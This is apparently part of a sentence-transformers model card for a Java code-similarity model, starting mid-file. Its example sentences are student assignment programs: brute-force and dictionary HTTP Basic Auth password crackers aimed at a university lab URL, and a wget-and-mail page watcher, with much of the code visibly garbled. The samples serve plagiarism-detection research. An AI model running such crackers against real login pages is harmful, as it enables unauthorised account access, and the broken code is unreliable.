	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class BruteForce {
 public static void main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       int start = new Date().getTime();
      String[] letters = {"a","A","b","B","c","C","d","D","e","E","f","F","g","G",
                          "h","H","i","I","j","J","k","K","l","L","m","M","n","N",
			  "o","O","p","P","q","Q","r","R","s","S","t","T","u","U",
			  "v","V","w","W","x","X","y","Y","z","Z"};
      int len = 52;
      int total = 52;
      String[] cad = new String[total];
      int t=0;
      
      for (int i=0;i<=len-1;i++){
	 cad[t] = letters[i];
	 t++;
      } 
      for (int i=0;i<=len-1;i++){
         for (int j=0;j<=len-1;j++){
	    cad[t] = letters[j]+letters[i];
	    t++;
      }}
      for (int i=0;i<=len-1;i++){
       for (int j=0;j<=len-1;j++){
        for (int k=0;k<=len-1;k++){
	   cad[t] = letters[k]+letters[j]+letters[i];
	   t++;
      }}}
            
       int response = 0;
       for (t=0;t<=total-1;t++){
        String uname = "";
        String userinfo = uname + ":" + cad[t];
        try{
         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty ("Authorization", " " + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println("Response "+t+" was "+response);
       System.out.println("The successful password was "+cad[t]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-start)/1000;
       System.out.println("Total time: "+totaltime+" seconds");
   }
}

, source_sentence: import java.net.*;
import java.io.*;

public class BruteForce {
  private String strUserName;
  private String strURL;
  private int iAttempts;
  
  public BruteForce(String strURL,String strUserName) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;

  }
  
  public String getPassword(){
      URL u;
      String result ="";
      PassGenBrute PG = new PassGenBrute(3);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
      try{
        while (result.compareTo("HTTP/1.1 200 OK")!=0){
        
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + ":" + strEncode;
        
          strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty("Authorization"," " + strEncode);
        
          result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println("MalformedURLException: "+me);
      }
      return(strPassword);
  }
  
  public int getAttempts(){
    return (iAttempts);
  };
  
  public static void main (String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 2) {
       BruteForce BF = new BruteForce(arg[0],arg[1]);
       System.out.println("Processing ... ");
       timeStart = System.currentTimeMillis();
       
       System.out.println("Password = " + BF.getPassword());
       timeEnd = System.currentTimeMillis();
       System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
       System.out.println("Total Attempts  = " + BF.getAttempts());
    }
    else {
       System.out.println("[Usage] java BruteForce <URL> <USERNAME>");

    }

  }
}

class PassGenBrute {
  private char[] password;
  public PassGenBrute(int lenght) {
    password = new char[lenght];
    for (int i = 0; i < lenght; i++){
      password[i] = 65;
    }
    password[0]--;
  }
  
  public String getNewPassword()
    throws PasswordFailureException{
    password[0]++;

    try {
      for (int i=0; i<password.length ; i++){
        if (password[i] == 90) {
          password[i] = 97;
        }
        if (password[i] > 122) {
          password[i] = 65;
          password[i+1]++;
        }
      }
    }
    catch (RuntimeException re){
      throw new PasswordFailureException ();
    }
    return new String(password);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}
sentences: import java.net.*;
import java.io.*;


public class Dictionary {
  private String strUserName;
  private String strURL;
  private String strDictPath;
  private int iAttempts;

    
    public Dictionary(String strURL,String strUserName,String strDictPath) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;
    this.strDictPath = strDictPath;
    }
  

  public String getPassword(){
      URL u;
      String result ="";
      PassGenDict PG = new PassGenDict(3,strDictPath);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
        try{
        while (result.compareTo("HTTP/1.1 200 OK")!=0){
      
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + ":" + strEncode;
          
        strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty("Authorization"," " + strEncode);
            
      result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println("MalformedURLException: "+me);
      }
      return(strPassword);
  }
 
   public int getAttempts(){
    return (iAttempts);
  };
  
  public static void  main(String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 3) {
    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);

    System.out.println("Processing ... ");
    timeStart = System.currentTimeMillis();
    System.out.println("Password = " + BF.getPassword());
    timeEnd = System.currentTimeMillis();
    System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
    System.out.println("Total Attempts  = " + BF.getAttempts());
    }
    else {
       System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");

    }

  }
}


class PassGenDict {

  private char[] password;
  private String line;
  int iPassLenght;
  private BufferedReader inputFile;
  public PassGenDict(int lenght, String strDictPath) {
    try{
      inputFile = new BufferedReader(new FileReader(strDictPath));
    }
    catch (Exception e){
    }
    iPassLenght = lenght;
  }
   
 public String getNewPassword()
    throws PasswordFailureException{
    try {
      {
        line = inputFile.readLine();
      }while (line.length() != iPassLenght);

    }
    catch (Exception e){
      throw new PasswordFailureException ();
    }
    return (line);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}, 




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class Dictionary

{


   static URL url = null;
   static URLConnection urlConnection;
   static InputStream urlStream;

   static String strOneLetterWords[];
   static String strTwoLetterWords[];
   static String strThreeLetterWords[];

   static String strExceptionPassword[];

   static String strLastPasswordTested;
   static String username = "";

   static int intNumberOfOneLetterWords   = 0;
   static int intNumberOfTwoLetterWords   = 0;
   static int intNumberOfThreeLetterWords = 0;

   static int intExceptionCount = -1;

   static int intNumberOfConnectionAttempts = 0;
   static int intTotalNumberOfWordsInFile = 0;




   public static void main (String args[])
   
   {


         
         
      Calendar calStart;
      Calendar calFinish;   
      Date dateStart;
      Date dateFinish;
       lngStart;
       lngFinish;



      String strLine;
      String strTextFileName = "/usr/share/lib/dict/words";

      boolean boolPasswordFound = false;
      boolean boolExceptionPasswordsTestedAgain = false;




      String urlString
            = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";

      int intCounter1;
      int intCounter2;
      int intCounter3;

      int intTotalNumberOfWordsChecked = 0;



         
         
      calStart  = new GregorianCalendar();
      dateStart = calStart.getTime();
      lngStart  = dateStart.getTime();          



         
         
         
         
         
      strExceptionPassword = new String[5000];


         
         
      getNumberOfVariousLengthsOfWords(strTextFileName);


         
         
      strOneLetterWords   = new String[intNumberOfOneLetterWords];
      strTwoLetterWords   = new String[intNumberOfTwoLetterWords];
      strThreeLetterWords = new String[intNumberOfThreeLetterWords];


         
         
      populateTheDifferentLengthArrays(strTextFileName);




      if (!boolPasswordFound) 
      {


            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strOneLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strTwoLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) )
         {

            boolPasswordFound = true;

            boolPasswordFound = passwordWasFound(urlString,
                                                 strThreeLetterWords[intCounter1],
                                                 boolPasswordFound);

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strOneLetterWords[intCounter1] + 
                                              strOneLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               intCounter3 = 0; 

               while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) )
               {

                  boolPasswordFound = true;

                  boolPasswordFound 
                      = passwordWasFound(urlString,
                                         strOneLetterWords[intCounter1]         + 
                                                 strOneLetterWords[intCounter2] +
                                                 strOneLetterWords[intCounter3],
                                         boolPasswordFound);  

                  intCounter3++;

                  intTotalNumberOfWordsChecked++;

               }


               intCounter2++;

            }


            intCounter1++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strOneLetterWords[intCounter1] + 
                                              strTwoLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
         {

            intCounter2 = 0; 

            while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strTwoLetterWords[intCounter1] + 
                                              strOneLetterWords[intCounter2],
                                      boolPasswordFound);  

               intCounter2++;

               intTotalNumberOfWordsChecked++;

            }


            intCounter1++;

         }



            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
         {

            boolExceptionPasswordsTestedAgain = true;
            boolPasswordFound = true;

            boolPasswordFound 
                = passwordWasFound(urlString,
                                   strExceptionPassword[intCounter1],
                                   boolPasswordFound);  

            intCounter1++;

            intTotalNumberOfWordsChecked++;

         }

      }   



         
         
      calFinish  = new GregorianCalendar();
      dateFinish = calFinish.getTime();
      lngFinish  = dateFinish.getTime();      


         
         
      System.out.println();
      System.out.println();


      System.out.println();
      System.out.println("Length of time for processing: " + 
                         ((lngFinish - lngStart) / 1000)   + 
                         " seconds");


      System.out.println();
      System.out.println("Total number of words in dictionary file = " + intTotalNumberOfWordsInFile);


      System.out.println();
      System.out.println("Input file:  number of words with one letter length   = " + intNumberOfOneLetterWords);
      System.out.println("Input file:  number of words with two letter length   = " + intNumberOfTwoLetterWords);
      System.out.println("Input file:  number of words with three letter length = " + intNumberOfThreeLetterWords);


      System.out.println();
      System.out.println("Number of connection attempts = " + intTotalNumberOfWordsChecked);


      System.out.println();
      System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));
      System.out.println();


      if (intExceptionCount >= 0)
      {
         System.out.print("These passwords WERE ");

         if (boolExceptionPasswordsTestedAgain)
            System.out.print("tested again.");
         else
            System.out.print("NOT tested again.");

         System.out.println();
      }


      if (boolPasswordFound) 
      {
         System.out.println("The correct password WAS found - this password is '" + 
                            strLastPasswordTested + "'.");
      } 
      else
      {
         System.out.println("The correct password WAS NOT found.");
      } 
            
      System.out.println();

   }







   static void getNumberOfVariousLengthsOfWords(String TextFileName)
   
   {

      FileReader reader;
      BufferedReader inTextFile = null;

      String strLine;
      int intWordLength;



      try
      {      
 
            
            
            
            
         reader = new FileReader(TextFileName);

            
            
            
            
         inTextFile = new BufferedReader(reader);


         strLine = inTextFile.readLine();


         while (strLine != null)
         {

            intTotalNumberOfWordsInFile++;

            strLine = strLine.trim();

            intWordLength = strLine.length();


               
               
            if (intWordLength == 1)
               intNumberOfOneLetterWords++;

               
               
            else if (intWordLength == 2) 
               intNumberOfTwoLetterWords++;

               
               
            else if (intWordLength == 3)
               intNumberOfThreeLetterWords++;


            strLine = inTextFile.readLine();

         }

      }

      catch(FileNotFoundException e)
      {

            
            
         System.out.println();
         System.out.println("The file '" + TextFileName + "' cannot  found.");
         System.out.println();

      }

      catch(Exception e)
      {

      }

      finally
      {

         try
         {
            inTextFile.print();
         }
         catch(Exception e)
         {
         }

         inTextFile = null;
         reader = null;

      }

   }      






   static void populateTheDifferentLengthArrays(String TextFileName)
   
   {

      FileReader reader;
      BufferedReader inTextFile = null;

      String strLine;
      int intWordLength;

      int intCountOfOneLetterWords   = -1;
      int intCountOfTwoLetterWords   = -1;
      int intCountOfThreeLetterWords = -1;



      try
      {      
 
            
            
            
            
         reader = new FileReader(TextFileName);

            
            
            
            
         inTextFile = new BufferedReader(reader);


         strLine = inTextFile.readLine();


         while (strLine != null)
         {

            strLine = strLine.trim();
            intWordLength = strLine.length();


               
               
            if (intWordLength == 1)
            {
               intCountOfOneLetterWords++;
               strOneLetterWords[intCountOfOneLetterWords] = strLine;
            }

               
               
            else if (intWordLength == 2) 
            {

               intCountOfTwoLetterWords++;
               strTwoLetterWords[intCountOfTwoLetterWords] = strLine;
            }

               
               
            else if (intWordLength == 3)
            {
               intCountOfThreeLetterWords++;
               strThreeLetterWords[intCountOfThreeLetterWords] = strLine;
            }

            strLine = inTextFile.readLine();

         }

      }

      catch(FileNotFoundException e)
      {

            
            
         System.out.println();
         System.out.println("The file '" + TextFileName + "' cannot  found.");
         System.out.println();

      }

      catch(Exception e)
      {
         System.out.println("Exception thrown....");
         System.err.println(e);
      }

      finally
      {

         try
         {
            inTextFile.print();
         }
         catch(Exception e)
         {
         }

         inTextFile = null;
         reader = null;

      }

   }







   static boolean passwordWasFound(String urlString,
                                   String password,
                                   boolean retVal)
   
   {

      String strEncodeInput = username + ":" + password;
      boolean returnValue = retVal;
      boolean boolExceptionThrown = false;



      try
      {

         strLastPasswordTested = password;
 
         intNumberOfConnectionAttempts++;

         url = new URL(urlString);

         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());


         System.out.print("username = " + 
                          username      + 
                          "    "       +
                          "password = " +
                          password);



         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();

         urlConnection.setRequestProperty("Authorization", 
                                          " " + encoding);   

         System.out.println("    response  = " + urlConnection.getResponseCode());

         if (urlConnection.getResponseCode() == 401)
         {
            returnValue = false;         
         }

      }

      catch (MalformedURLException m)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.err.println(m);
         System.out.println("Malformed URL Exception error");
      }

      catch (IOException io)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println("IOException error");
         System.err.println(io); 
      }

      catch (Exception e)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println("General exception.....");
         System.err.println(e); 
      }

      finally
      { 
         urlConnection = null;
         url = null; 
      }


      if (boolExceptionThrown)
      {
         intExceptionCount++;
         strExceptionPassword[intExceptionCount] = password;
      }


      return returnValue;

   }

}, import java.util.*;
import java.io.*;
import javax.swing.text.html.*;


public class WatchDog {

  public WatchDog() {

  }
  public static void main (String args[]) {
    DataInputStream newin;

    try{
      System.out.println("ishti");

      System.out.println("Downloading first copy");
      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
      String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println("Downloading new copy");
            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( "Diff.txt"));
            if (newin.readLine() != null){
               System.out.println("Sending Mail");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec("cp newfile.html oldfile.html");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}
datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 11
Created: 2025-06-11 10:55:33